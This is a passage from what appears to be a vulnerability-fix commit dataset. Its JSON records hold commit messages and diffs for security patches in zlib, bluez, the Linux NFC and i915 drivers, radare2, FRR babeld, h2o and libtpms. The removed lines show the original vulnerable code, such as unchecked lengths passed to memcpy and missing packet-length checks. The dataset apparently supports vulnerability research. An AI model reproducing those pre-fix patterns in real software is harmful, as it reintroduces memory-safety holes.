@@ static void handle_buffered_input(struct st_h2o_http3_server_stream_t *stream, i\n while (src != src_end) {\n int err;\n const char *err_desc = NULL;\n- if ((err = stream->recvbuf.handle_input(stream, &src, src_end, &err_desc)) != 0) {\n+ if ((err = stream->recvbuf.handle_input(stream, &src, src_end, in_generator, &err_desc)) != 0) {\n if (err == H2O_HTTP3_ERROR_INCOMPLETE) {\n if (!quicly_recvstate_transfer_complete(&stream->quic->recvstate))\n break;\n", "related": false}, {"section": "@@ -1036,7 +1036,7 @@ static void run_delayed(h2o_timer_t *timer)\n }\n \n int handle_input_post_trailers(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc)\n+ int in_generator, const char **err_desc)\n {\n h2o_http3_read_frame_t frame;\n int ret;\n", "related": false}, {"section": "@@ -1056,7 +1056,7 @@ int handle_input_post_trailers(struct st_h2o_http3_server_stream_t *stream, cons\n }\n \n static int handle_input_expect_data_payload(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src,\n- const uint8_t *src_end, const char **err_desc)\n+ const uint8_t *src_end, int in_generator, const char **err_desc)\n {\n size_t bytes_avail = src_end - *src;\n \n", "related": false}, {"section": "@@ -1079,7 +1079,7 @@ static int handle_input_expect_data_payload(struct st_h2o_http3_server_stream_t\n }\n \n int handle_input_expect_data(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc)\n+ int in_generator, const char **err_desc)\n {\n h2o_http3_read_frame_t frame;\n int ret;\n", "related": false}, {"section": "@@ -1102,7 +1102,7 @@ int handle_input_expect_data(struct st_h2o_http3_server_stream_t *stream, const\n stream->req.content_length - stream->req.req_body_bytes_received < frame.length) {\n /* The only viable option here is to reset the stream, as we might have already started streaming the request body\n * upstream. This behavior is consistent with what we do in HTTP/2. */\n- shutdown_stream(stream, H2O_HTTP3_ERROR_EARLY_RESPONSE, H2O_HTTP3_ERROR_GENERAL_PROTOCOL, 0);\n+ shutdown_stream(stream, H2O_HTTP3_ERROR_EARLY_RESPONSE, H2O_HTTP3_ERROR_GENERAL_PROTOCOL, in_generator);\n return 0;\n }\n break;\n", "related": false}, {"section": "@@ -1134,8 +1134,10 @@ static int handle_input_expect_headers_send_http_error(struct st_h2o_http3_serve\n }\n \n static int handle_input_expect_headers(struct st_h2o_http3_server_stream_t *stream, const uint8_t **src, const uint8_t *src_end,\n- const char **err_desc)\n+ int in_generator, const char **err_desc)\n {\n+ assert(!in_generator); /* this function is processing headers (before generators get assigned), not trailers */\n+\n struct st_h2o_http3_server_conn_t *conn = get_conn(stream);\n h2o_http3_read_frame_t frame;\n int header_exists_map = 0, ret;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/gpu/drm/i915/gt/intel_gt_types.h", "commit_id": "7938d61591d33394a21bdd7797a245b65428f44c", "commit_message": "drm/i915: Flush TLBs before releasing backing store\n\nWe need to flush TLBs before releasing backing store otherwise userspace\nis able to encounter stale entries if a) it is not declaring access to\ncertain buffers and b) it races with the backing store release from a\nsuch undeclared execution already executing on the GPU in parallel.\n\nThe approach taken is to mark any buffer objects which were ever bound\nto the GPU and to trigger a serialized TLB flush when their backing\nstore is released.\n\nAlternatively the flushing could be done on VMA unbind, at which point\nwe would be able to ascertain whether there is potential a parallel GPU\nexecution (which could race), but essentially it boils down to paying\nthe cost of TLB flushes potentially needlessly at VMA unbind time (when\nthe backing store is not known to be going away so not needed for\nsafety), versus potentially needlessly at backing store relase time\n(since we at that point cannot tell whether there is anything executing\non the GPU which uses that object).\n\nThereforce simplicity of implementation has been chosen for now with\nscope to benchmark and refine later as required.\n\nSigned-off-by: Tvrtko Ursulin \nReported-by: Sushma Venkatesh Reddy \nReviewed-by: Daniel Vetter \nAcked-by: Dave Airlie \nCc: Daniel Vetter \nCc: Jon Bloomfield \nCc: Joonas Lahtinen \nCc: Jani Nikula \nCc: stable@vger.kernel.org\nSigned-off-by: Linus Torvalds ", "patch": "@@ -73,6 +73,8 @@ struct intel_gt {\n \n \tstruct intel_uc uc;\n \n+\tstruct mutex tlb_invalidate_lock;\n+\n \tstruct i915_wa_list wa_list;\n \n \tstruct intel_gt_timelines {", "sections": [{"section": "@@ -73,6 +73,8 @@ struct intel_gt {\n \n \tstruct intel_uc uc;\n \n+\tstruct mutex tlb_invalidate_lock;\n+\n \tstruct i915_wa_list wa_list;\n \n \tstruct intel_gt_timelines {", "related": false}]} +{"owner": "madler", "repo": "zlib", "language": "C", "file_name": "trees.c", "commit_id": "5c44459c3b28a9bd3283aaceab7c615f8020c531", "commit_message": "Fix a bug that can crash deflate on some input when using Z_FIXED.\n\nThis bug was reported by Danilo Ramos of Eideticom, Inc. It has\nlain in wait 13 years before being found! The bug was introduced\nin zlib 1.2.2.2, with the addition of the Z_FIXED option. That\noption forces the use of fixed Huffman codes. For rare inputs with\na large number of distant matches, the pending buffer into which\nthe compressed data is written can overwrite the distance symbol\ntable which it overlays. That results in corrupted output due to\ninvalid distances, and can result in out-of-bound accesses,\ncrashing the application.\n\nThe fix here combines the distance buffer and literal/length\nbuffers into a single symbol buffer. Now three bytes of pending\nbuffer space are opened up for each literal or length/distance\npair consumed, instead of the previous two bytes. This assures\nthat the pending buffer cannot overwrite the symbol table, since\nthe maximum fixed code compressed length/distance is 31 bits, and\nsince there are four bytes of pending space for every three bytes\nof symbol space.", "patch": "@@ -416,7 +416,7 @@ local void init_block(s)\n \n s->dyn_ltree[END_BLOCK].Freq = 1;\n s->opt_len = s->static_len = 0L;\n- s->last_lit = s->matches = 0;\n+ s->sym_next = s->matches = 0;\n }\n \n #define SMALLEST 1\n@@ -948,7 +948,7 @@ void ZLIB_INTERNAL _tr_flush_block(s, buf, stored_len, last)\n \n Tracev((stderr, \"\\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u \",\n opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len,\n- s->last_lit));\n+ s->sym_next / 3));\n \n if (static_lenb <= opt_lenb) opt_lenb = static_lenb;\n \n@@ -1017,8 +1017,9 @@ int ZLIB_INTERNAL _tr_tally (s, dist, lc)\n unsigned dist; /* distance of matched string */\n unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */\n {\n- s->d_buf[s->last_lit] = (ush)dist;\n- s->l_buf[s->last_lit++] = (uch)lc;\n+ s->sym_buf[s->sym_next++] = dist;\n+ s->sym_buf[s->sym_next++] = dist >> 8;\n+ s->sym_buf[s->sym_next++] = lc;\n if (dist == 0) {\n /* lc is the unmatched char */\n s->dyn_ltree[lc].Freq++;\n@@ -1033,30 +1034,7 @@ int ZLIB_INTERNAL _tr_tally (s, dist, lc)\n s->dyn_ltree[_length_code[lc]+LITERALS+1].Freq++;\n s->dyn_dtree[d_code(dist)].Freq++;\n }\n-\n-#ifdef TRUNCATE_BLOCK\n- /* Try to guess if it is profitable to stop the current block here */\n- if ((s->last_lit & 0x1fff) == 0 && s->level > 2) {\n- /* Compute an upper bound for the compressed length */\n- ulg out_length = (ulg)s->last_lit*8L;\n- ulg in_length = (ulg)((long)s->strstart - s->block_start);\n- int dcode;\n- for (dcode = 0; dcode < D_CODES; dcode++) {\n- out_length += (ulg)s->dyn_dtree[dcode].Freq *\n- (5L+extra_dbits[dcode]);\n- }\n- out_length >>= 3;\n- Tracev((stderr,\"\\nlast_lit %u, in %ld, out ~%ld(%ld%%) \",\n- s->last_lit, in_length, out_length,\n- 100L - out_length*100L/in_length));\n- if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1;\n- }\n-#endif\n- return (s->last_lit == s->lit_bufsize-1);\n- /* We avoid equality with lit_bufsize because of wraparound at 64K\n- * on 16 bit machines and because stored blocks are restricted to\n- * 64K-1 bytes.\n- */\n+ return (s->sym_next == s->sym_end);\n }\n \n /* ===========================================================================\n@@ -1069,13 +1047,14 @@ local void compress_block(s, ltree, dtree)\n {\n unsigned dist; /* distance of matched string */\n int lc; /* match length or unmatched char (if dist == 0) */\n- unsigned lx = 0; /* running index in l_buf */\n+ unsigned sx = 0; /* running index in sym_buf */\n unsigned code; /* the code to send */\n int extra; /* number of extra bits to send */\n \n- if (s->last_lit != 0) do {\n- dist = s->d_buf[lx];\n- lc = s->l_buf[lx++];\n+ if (s->sym_next != 0) do {\n+ dist = s->sym_buf[sx++] & 0xff;\n+ dist += (unsigned)(s->sym_buf[sx++] & 0xff) << 8;\n+ lc = s->sym_buf[sx++];\n if (dist == 0) {\n send_code(s, lc, ltree); /* send a literal byte */\n Tracecv(isgraph(lc), (stderr,\" '%c' \", lc));\n@@ -1100,11 +1079,10 @@ local void compress_block(s, ltree, dtree)\n }\n } /* literal or match pair ? */\n \n- /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */\n- Assert((uInt)(s->pending) < s->lit_bufsize + 2*lx,\n- \"pendingBuf overflow\");\n+ /* Check that the overlay between pending_buf and sym_buf is ok: */\n+ Assert(s->pending < s->lit_bufsize + sx, \"pendingBuf overflow\");\n \n- } while (lx < s->last_lit);\n+ } while (sx < s->sym_next);\n \n send_code(s, END_BLOCK, ltree);\n }", "sections": [{"section": "@@ -416,7 +416,7 @@ local void init_block(s)\n \n s->dyn_ltree[END_BLOCK].Freq = 1;\n s->opt_len = s->static_len = 0L;\n- s->last_lit = s->matches = 0;\n+ s->sym_next = s->matches = 0;\n }\n \n #define SMALLEST 1\n", "related": false}, {"section": "@@ -948,7 +948,7 @@ void ZLIB_INTERNAL _tr_flush_block(s, buf, stored_len, last)\n \n Tracev((stderr, \"\\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u \",\n opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len,\n- s->last_lit));\n+ s->sym_next / 3));\n \n if (static_lenb <= opt_lenb) opt_lenb = static_lenb;\n \n", "related": false}, {"section": "@@ -1017,8 +1017,9 @@ int ZLIB_INTERNAL _tr_tally (s, dist, lc)\n unsigned dist; /* distance of matched string */\n unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */\n {\n- s->d_buf[s->last_lit] = (ush)dist;\n- s->l_buf[s->last_lit++] = (uch)lc;\n+ s->sym_buf[s->sym_next++] = dist;\n+ s->sym_buf[s->sym_next++] = dist >> 8;\n+ s->sym_buf[s->sym_next++] = lc;\n if (dist == 0) {\n /* lc is the unmatched char */\n s->dyn_ltree[lc].Freq++;\n", "related": false}, {"section": "@@ -1033,30 +1034,7 @@ int ZLIB_INTERNAL _tr_tally (s, dist, lc)\n s->dyn_ltree[_length_code[lc]+LITERALS+1].Freq++;\n s->dyn_dtree[d_code(dist)].Freq++;\n }\n-\n-#ifdef TRUNCATE_BLOCK\n- /* Try to guess if it is profitable to stop the current block here */\n- if ((s->last_lit & 0x1fff) == 0 && s->level > 2) {\n- /* Compute an upper bound for the compressed length */\n- ulg out_length = (ulg)s->last_lit*8L;\n- ulg in_length = (ulg)((long)s->strstart - s->block_start);\n- int dcode;\n- for (dcode = 0; dcode < D_CODES; dcode++) {\n- out_length += (ulg)s->dyn_dtree[dcode].Freq *\n- (5L+extra_dbits[dcode]);\n- }\n- out_length >>= 3;\n- Tracev((stderr,\"\\nlast_lit %u, in %ld, out ~%ld(%ld%%) \",\n- s->last_lit, in_length, out_length,\n- 100L - out_length*100L/in_length));\n- if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1;\n- }\n-#endif\n- return (s->last_lit == s->lit_bufsize-1);\n- /* We avoid equality with lit_bufsize because of wraparound at 64K\n- * on 16 bit machines and because stored blocks are restricted to\n- * 64K-1 bytes.\n- */\n+ return (s->sym_next == s->sym_end);\n }\n \n /* ===========================================================================\n", "related": false}, {"section": "@@ -1069,13 +1047,14 @@ local void compress_block(s, ltree, dtree)\n {\n unsigned dist; /* distance of matched string */\n int lc; /* match length or unmatched char (if dist == 0) */\n- unsigned lx = 0; /* running index in l_buf */\n+ unsigned sx = 0; /* running index in sym_buf */\n unsigned code; /* the code to send */\n int extra; /* number of extra bits to send */\n \n- if (s->last_lit != 0) do {\n- dist = s->d_buf[lx];\n- lc = s->l_buf[lx++];\n+ if (s->sym_next != 0) do {\n+ dist = s->sym_buf[sx++] & 0xff;\n+ dist += (unsigned)(s->sym_buf[sx++] & 0xff) << 8;\n+ lc = s->sym_buf[sx++];\n if (dist == 0) {\n send_code(s, lc, ltree); /* send a literal byte */\n Tracecv(isgraph(lc), (stderr,\" '%c' \", lc));\n", "related": false}, {"section": "@@ -1100,11 +1079,10 @@ local void compress_block(s, ltree, dtree)\n }\n } /* literal or match pair ? */\n \n- /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */\n- Assert((uInt)(s->pending) < s->lit_bufsize + 2*lx,\n- \"pendingBuf overflow\");\n+ /* Check that the overlay between pending_buf and sym_buf is ok: */\n+ Assert(s->pending < s->lit_bufsize + sx, \"pendingBuf overflow\");\n \n- } while (lx < s->last_lit);\n+ } while (sx < s->sym_next);\n \n send_code(s, END_BLOCK, ltree);\n }", "related": false}]} +{"owner": "radareorg", "repo": "radare2", "language": "C", "file_name": "libr/anal/var.c", "commit_id": "a7ce29647fcb38386d7439696375e16e093d6acb", "commit_message": "Fix UAF in aaaa on arm/thumb switching ##crash\n\n* Reported by @peacock-doris via huntr.dev\n* Reproducer tests_65185\n* This is a logic fix, but not the fully safe as changes in the code\n can result on UAF again, to properly protect r2 from crashing we\n need to break the ABI and add refcounting to RRegItem, which can't\n happen in 5.6.x because of abi-compat rules", "patch": "@@ -1048,7 +1048,7 @@ static void extract_arg(RAnal *anal, RAnalFunction *fcn, RAnalOp *op, const char\n \t\tfree (vartype);\n \t} else {\n \t\tst64 frame_off = -(ptr + fcn->bp_off);\n-\t\tif (maxstackframe != 0 && (frame_off > maxstackframe || frame_off < -maxstackframe)) {\n+\t\tif (maxstackframe > 0 && (frame_off > maxstackframe || frame_off < -maxstackframe)) {\n \t\t\tgoto beach;\n \t\t}\n \t\tRAnalVar *var = get_stack_var (fcn, frame_off);", "sections": [{"section": "@@ -1048,7 +1048,7 @@ static void extract_arg(RAnal *anal, RAnalFunction *fcn, RAnalOp *op, const char\n \t\tfree (vartype);\n \t} else {\n \t\tst64 frame_off = -(ptr + fcn->bp_off);\n-\t\tif (maxstackframe != 0 && (frame_off > maxstackframe || frame_off < -maxstackframe)) {\n+\t\tif (maxstackframe > 0 && (frame_off > maxstackframe || frame_off < -maxstackframe)) {\n \t\t\tgoto beach;\n \t\t}\n \t\tRAnalVar *var = get_stack_var (fcn, frame_off);", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/version.c", "commit_id": "5c68617d395f9d7b824f68475b24ce3e38d653a3", "commit_message": "patch 8.2.4563: \"z=\" in Visual mode may go beyond the end of the line\n\nProblem: \"z=\" in Visual mode may go beyond the end of the line.\nSolution: Adjust \"badlen\".", "patch": "@@ -750,6 +750,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 4563,\n /**/\n 4562,\n /**/", "sections": [{"section": "@@ -750,6 +750,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 4563,\n /**/\n 4562,\n /**/", "related": false}]} +{"owner": "bluez", "repo": "bluez", "language": "C", "file_name": "src/shared/gatt-server.c", "commit_id": "591c546c536b42bef696d027f64aa22434f8c3f0", "commit_message": "shared/gatt-server: Fix heap overflow when appending prepare writes\n\nThe code shall check if the prepare writes would append more the\nallowed maximum attribute length.\n\nFixes https://github.com/bluez/bluez/security/advisories/GHSA-479m-xcq5-9g2q", "patch": "@@ -779,6 +779,20 @@ static uint8_t authorize_req(struct bt_gatt_server *server,\n \t\t\t\t\t\tserver->authorize_data);\n }\n \n+static uint8_t check_length(uint16_t length, uint16_t offset)\n+{\n+\tif (length > BT_ATT_MAX_VALUE_LEN)\n+\t\treturn BT_ATT_ERROR_INVALID_ATTRIBUTE_VALUE_LEN;\n+\n+\tif (offset > BT_ATT_MAX_VALUE_LEN)\n+\t\treturn BT_ATT_ERROR_INVALID_OFFSET;\n+\n+\tif (length + offset > BT_ATT_MAX_VALUE_LEN)\n+\t\treturn BT_ATT_ERROR_INVALID_ATTRIBUTE_VALUE_LEN;\n+\n+\treturn 0;\n+}\n+\n static void write_cb(struct bt_att_chan *chan, uint8_t opcode, const void *pdu,\n \t\t\t\t\tuint16_t length, void *user_data)\n {\n@@ -809,6 +823,10 @@ static void write_cb(struct bt_att_chan *chan, uint8_t opcode, const void *pdu,\n \t\t\t\t(opcode == BT_ATT_OP_WRITE_REQ) ? \"Req\" : \"Cmd\",\n \t\t\t\thandle);\n \n+\tecode = check_length(length, 0);\n+\tif (ecode)\n+\t\tgoto error;\n+\n \tecode = check_permissions(server, attr, BT_ATT_PERM_WRITE_MASK);\n \tif (ecode)\n \t\tgoto error;\n@@ -1299,6 +1317,10 @@ static void prep_write_cb(struct bt_att_chan *chan, uint8_t opcode,\n \tutil_debug(server->debug_callback, server->debug_data,\n \t\t\t\t\"Prep Write Req - handle: 0x%04x\", handle);\n \n+\tecode = check_length(length, offset);\n+\tif (ecode)\n+\t\tgoto error;\n+\n \tecode = check_permissions(server, attr, BT_ATT_PERM_WRITE_MASK);\n \tif (ecode)\n \t\tgoto error;", "sections": [{"section": "@@ -779,6 +779,20 @@ static uint8_t authorize_req(struct bt_gatt_server *server,\n \t\t\t\t\t\tserver->authorize_data);\n }\n \n+static uint8_t check_length(uint16_t length, uint16_t offset)\n+{\n+\tif (length > BT_ATT_MAX_VALUE_LEN)\n+\t\treturn BT_ATT_ERROR_INVALID_ATTRIBUTE_VALUE_LEN;\n+\n+\tif (offset > BT_ATT_MAX_VALUE_LEN)\n+\t\treturn BT_ATT_ERROR_INVALID_OFFSET;\n+\n+\tif (length + offset > BT_ATT_MAX_VALUE_LEN)\n+\t\treturn BT_ATT_ERROR_INVALID_ATTRIBUTE_VALUE_LEN;\n+\n+\treturn 0;\n+}\n+\n static void write_cb(struct bt_att_chan *chan, uint8_t opcode, const void *pdu,\n \t\t\t\t\tuint16_t length, void *user_data)\n {\n", "related": false}, {"section": "@@ -809,6 +823,10 @@ static void write_cb(struct bt_att_chan *chan, uint8_t opcode, const void *pdu,\n \t\t\t\t(opcode == BT_ATT_OP_WRITE_REQ) ? \"Req\" : \"Cmd\",\n \t\t\t\thandle);\n \n+\tecode = check_length(length, 0);\n+\tif (ecode)\n+\t\tgoto error;\n+\n \tecode = check_permissions(server, attr, BT_ATT_PERM_WRITE_MASK);\n \tif (ecode)\n \t\tgoto error;\n", "related": false}, {"section": "@@ -1299,6 +1317,10 @@ static void prep_write_cb(struct bt_att_chan *chan, uint8_t opcode,\n \tutil_debug(server->debug_callback, server->debug_data,\n \t\t\t\t\"Prep Write Req - handle: 0x%04x\", handle);\n \n+\tecode = check_length(length, offset);\n+\tif (ecode)\n+\t\tgoto error;\n+\n \tecode = check_permissions(server, attr, BT_ATT_PERM_WRITE_MASK);\n \tif (ecode)\n \t\tgoto error;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/nfc/st21nfca/se.c", "commit_id": "4fbcc1a4cb20fe26ad0225679c536c80f1648221", "commit_message": "nfc: st21nfca: Fix potential buffer overflows in EVT_TRANSACTION\n\nIt appears that there are some buffer overflows in EVT_TRANSACTION.\nThis happens because the length parameters that are passed to memcpy\ncome directly from skb->data and are not guarded in any way.\n\nSigned-off-by: Jordy Zomer \nReviewed-by: Krzysztof Kozlowski \nSigned-off-by: David S. Miller ", "patch": "@@ -316,6 +316,11 @@ int st21nfca_connectivity_event_received(struct nfc_hci_dev *hdev, u8 host,\n \t\t\treturn -ENOMEM;\n \n \t\ttransaction->aid_len = skb->data[1];\n+\n+\t\t/* Checking if the length of the AID is valid */\n+\t\tif (transaction->aid_len > sizeof(transaction->aid))\n+\t\t\treturn -EINVAL;\n+\n \t\tmemcpy(transaction->aid, &skb->data[2],\n \t\t transaction->aid_len);\n \n@@ -325,6 +330,11 @@ int st21nfca_connectivity_event_received(struct nfc_hci_dev *hdev, u8 host,\n \t\t\treturn -EPROTO;\n \n \t\ttransaction->params_len = skb->data[transaction->aid_len + 3];\n+\n+\t\t/* Total size is allocated (skb->len - 2) minus fixed array members */\n+\t\tif (transaction->params_len > ((skb->len - 2) - sizeof(struct nfc_evt_transaction)))\n+\t\t\treturn -EINVAL;\n+\n \t\tmemcpy(transaction->params, skb->data +\n \t\t transaction->aid_len + 4, transaction->params_len);\n ", "sections": [{"section": "@@ -316,6 +316,11 @@ int st21nfca_connectivity_event_received(struct nfc_hci_dev *hdev, u8 host,\n \t\t\treturn -ENOMEM;\n \n \t\ttransaction->aid_len = skb->data[1];\n+\n+\t\t/* Checking if the length of the AID is valid */\n+\t\tif (transaction->aid_len > sizeof(transaction->aid))\n+\t\t\treturn -EINVAL;\n+\n \t\tmemcpy(transaction->aid, &skb->data[2],\n \t\t transaction->aid_len);\n \n", "related": true}, {"section": "@@ -325,6 +330,11 @@ int st21nfca_connectivity_event_received(struct nfc_hci_dev *hdev, u8 host,\n \t\t\treturn -EPROTO;\n \n \t\ttransaction->params_len = skb->data[transaction->aid_len + 3];\n+\n+\t\t/* Total size is allocated (skb->len - 2) minus fixed array members */\n+\t\tif (transaction->params_len > ((skb->len - 2) - sizeof(struct nfc_evt_transaction)))\n+\t\t\treturn -EINVAL;\n+\n \t\tmemcpy(transaction->params, skb->data +\n \t\t transaction->aid_len + 4, transaction->params_len);\n ", "related": true}]} +{"owner": "frrouting", "repo": "frr", "language": "C", "file_name": "babeld/message.c", "commit_id": "b223651ff6436f136d036e9f5e4bb1cc71f04be2", "commit_message": "Merge pull request #10494 from whichbug/fix#10487\n\nbabeld: add a check for truncated packets", "patch": "@@ -288,13 +288,18 @@ channels_len(unsigned char *channels)\n static int\n babel_packet_examin(const unsigned char *packet, int packetlen)\n {\n- unsigned i = 0, bodylen;\n+ int i = 0, bodylen;\n const unsigned char *message;\n unsigned char type, len;\n \n if(packetlen < 4 || packet[0] != 42 || packet[1] != 2)\n return 1;\n DO_NTOHS(bodylen, packet + 2);\n+ if(bodylen + 4 > packetlen) {\n+ debugf(BABEL_DEBUG_COMMON, \"Received truncated packet (%d + 4 > %d).\",\n+ bodylen, packetlen);\n+ return 1;\n+ }\n while (i < bodylen){\n message = packet + 4 + i;\n type = message[0];\n@@ -366,12 +371,6 @@ parse_packet(const unsigned char *from, struct interface *ifp,\n \n DO_NTOHS(bodylen, packet + 2);\n \n- if(bodylen + 4 > packetlen) {\n- flog_err(EC_BABEL_PACKET, \"Received truncated packet (%d + 4 > %d).\",\n- bodylen, packetlen);\n- bodylen = packetlen - 4;\n- }\n-\n i = 0;\n while(i < bodylen) {\n message = packet + 4 + i;", "sections": [{"section": "@@ -288,13 +288,18 @@ channels_len(unsigned char *channels)\n static int\n babel_packet_examin(const unsigned char *packet, int packetlen)\n {\n- unsigned i = 0, bodylen;\n+ int i = 0, bodylen;\n const unsigned char *message;\n unsigned char type, len;\n \n if(packetlen < 4 || packet[0] != 42 || packet[1] != 2)\n return 1;\n DO_NTOHS(bodylen, packet + 2);\n+ if(bodylen + 4 > packetlen) {\n+ debugf(BABEL_DEBUG_COMMON, \"Received truncated packet (%d + 4 > %d).\",\n+ bodylen, packetlen);\n+ return 1;\n+ }\n while (i < bodylen){\n message = packet + 4 + i;\n type = message[0];\n", "related": false}, {"section": "@@ -366,12 +371,6 @@ parse_packet(const unsigned char *from, struct interface *ifp,\n \n DO_NTOHS(bodylen, packet + 2);\n \n- if(bodylen + 4 > packetlen) {\n- flog_err(EC_BABEL_PACKET, \"Received truncated packet (%d + 4 > %d).\",\n- bodylen, packetlen);\n- bodylen = packetlen - 4;\n- }\n-\n i = 0;\n while(i < bodylen) {\n message = packet + 4 + i;", "related": false}]} +{"owner": "stefanberger", "repo": "libtpms", "language": "C", "file_name": "src/tpm2/Unmarshal.c", "commit_id": "2e6173c273ca14adb11386db4e47622552b1c00e", "commit_message": "tpm2: Restore original value if unmarsalled value was illegal\n\nRestore the original value of the memory location where data from\na stream was unmarshalled and the unmarshalled value was found to\nbe illegal. The goal is to not keep illegal values in memory.\n\nSigned-off-by: Stefan Berger ", "patch": "@@ -165,13 +165,15 @@ TPM_RC\n TPM_GENERATED_Unmarshal(TPM_GENERATED *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_GENERATED orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal(target, buffer, size); \n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target != TPM_GENERATED_VALUE) {\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -198,6 +200,7 @@ TPM_RC\n TPM_ECC_CURVE_Unmarshal(TPM_ECC_CURVE *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ECC_CURVE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT16_Unmarshal(target, buffer, size);\n@@ -216,6 +219,7 @@ TPM_ECC_CURVE_Unmarshal(TPM_ECC_CURVE *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_CURVE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -241,6 +245,7 @@ TPM_RC\n TPM_CLOCK_ADJUST_Unmarshal(TPM_CLOCK_ADJUST *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_CLOCK_ADJUST orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = INT8_Unmarshal(target, buffer, size); \n@@ -257,6 +262,7 @@ TPM_CLOCK_ADJUST_Unmarshal(TPM_CLOCK_ADJUST *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -268,6 +274,7 @@ TPM_RC\n TPM_EO_Unmarshal(TPM_EO *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_EO orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT16_Unmarshal(target, buffer, size); \n@@ -289,6 +296,7 @@ TPM_EO_Unmarshal(TPM_EO *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -300,6 +308,7 @@ TPM_RC\n TPM_ST_Unmarshal(TPM_ST *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_ST orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT16_Unmarshal(target, buffer, size); \n@@ -325,6 +334,7 @@ TPM_ST_Unmarshal(TPM_ST *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -336,6 +346,7 @@ TPM_RC\n TPM_SU_Unmarshal(TPM_SU *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_SU orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT16_Unmarshal(target, buffer, size); \n@@ -347,6 +358,7 @@ TPM_SU_Unmarshal(TPM_SU *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -358,6 +370,7 @@ TPM_RC\n TPM_SE_Unmarshal(TPM_SE *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_SE orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT8_Unmarshal(target, buffer, size); \n@@ -370,6 +383,7 @@ TPM_SE_Unmarshal(TPM_SE *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -381,6 +395,7 @@ TPM_RC\n TPM_CAP_Unmarshal(TPM_CAP *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPM_CAP orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal(target, buffer, size); \n@@ -402,6 +417,7 @@ TPM_CAP_Unmarshal(TPM_CAP *target, BYTE **buffer, INT32 *size)\n \t break;\n \t default:\n \t rc = TPM_RC_VALUE;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -452,13 +468,15 @@ TPM_RC\n TPMA_ALGORITHM_Unmarshal(TPMA_ALGORITHM *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMA_ALGORITHM orig_target = *target; // libtpms added\n \n if (rc == TPM_RC_SUCCESS) {\n \trc = UINT32_Unmarshal((UINT32 *)target, buffer, size); /* libtpms changed */\n }\n if (rc == TPM_RC_SUCCESS) {\n \tif (*target & TPMA_ALGORITHM_reserved) {\n \t rc = TPM_RC_RESERVED_BITS;\n+\t *target = orig_target; // libtpms added\n \t}\n }\n return rc;\n@@ -470,13 +488,15 @@ TPM_RC\n TPMA_OBJECT_Unmarshal(TPMA_OBJECT *target, BYTE **buffer, INT32 *size)\n {\n TPM_RC rc = TPM_RC_SUCCESS;\n+ TPMA_OBJECT orig_target = 